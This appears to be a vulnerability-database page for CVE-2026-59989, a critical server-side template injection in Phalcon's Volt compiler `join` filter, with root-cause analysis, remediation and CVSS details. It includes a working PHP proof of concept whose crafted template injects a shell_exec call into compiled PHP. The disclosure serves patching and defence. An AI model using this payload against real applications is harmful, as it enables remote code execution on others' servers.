Loading...
Skip to main content

CVE-2026-59989 — Vulnerability in phalcon/cphalcon — CVE Details

CRITICAL

Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)

Published August 21, 2026Updated September 11, 2026Source: osv

Summary

## Summary The Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source. ## Details ### Root cause `phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`: ```zephir case "join": return "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")"; ``` `funcArguments[1]["expr"]["value"]` (the separator) and `funcArguments[0]["expr"]["value"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP. **Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0): ```c ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")"); ``` i.e. literally `"join('" + separator + "', " + array + ")"` with both attacker-controlled fragments unescaped. The compiled output is then written to a cache file and `require`d by `Phalcon\Mvc\View\Engine\Volt::render()`, so any PHP spliced in by the attacker runs at render time. ## PoC ```php <?php use Phalcon\Mvc\View\Engine\Volt\Compiler; $cmd = 'id; uname -a; hostname'; $b64 = base64_encode($cmd); $tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}"; $compiled = (new Compiler())->compileString($tpl); $f = tempnam(sys_get_temp_dir(), 'volt') . '.php'; file_put_contents($f, $compiled); include $f; unlink($f); ``` <img width="1226" height="386" alt="image" src="https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe" /> ## Impact Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.

Advisory Timeline

  • First published August 21, 2026 (52 days ago).
  • Last revised September 11, 2026 — 20 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phalcon/cphalcon to 5.16.0 or later
composer require "phalcon/cphalcon:^5.16.0"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
phalcon/cphalcon
packagist
5.10.0, 5.12.0, 5.9.0, 5.9.1 (+93 more)5.16.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-59989?
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE) This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-59989?
CVE-2026-59989 affects phalcon/cphalcon. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-59989 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-hrwp-4hh9-c8r8

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies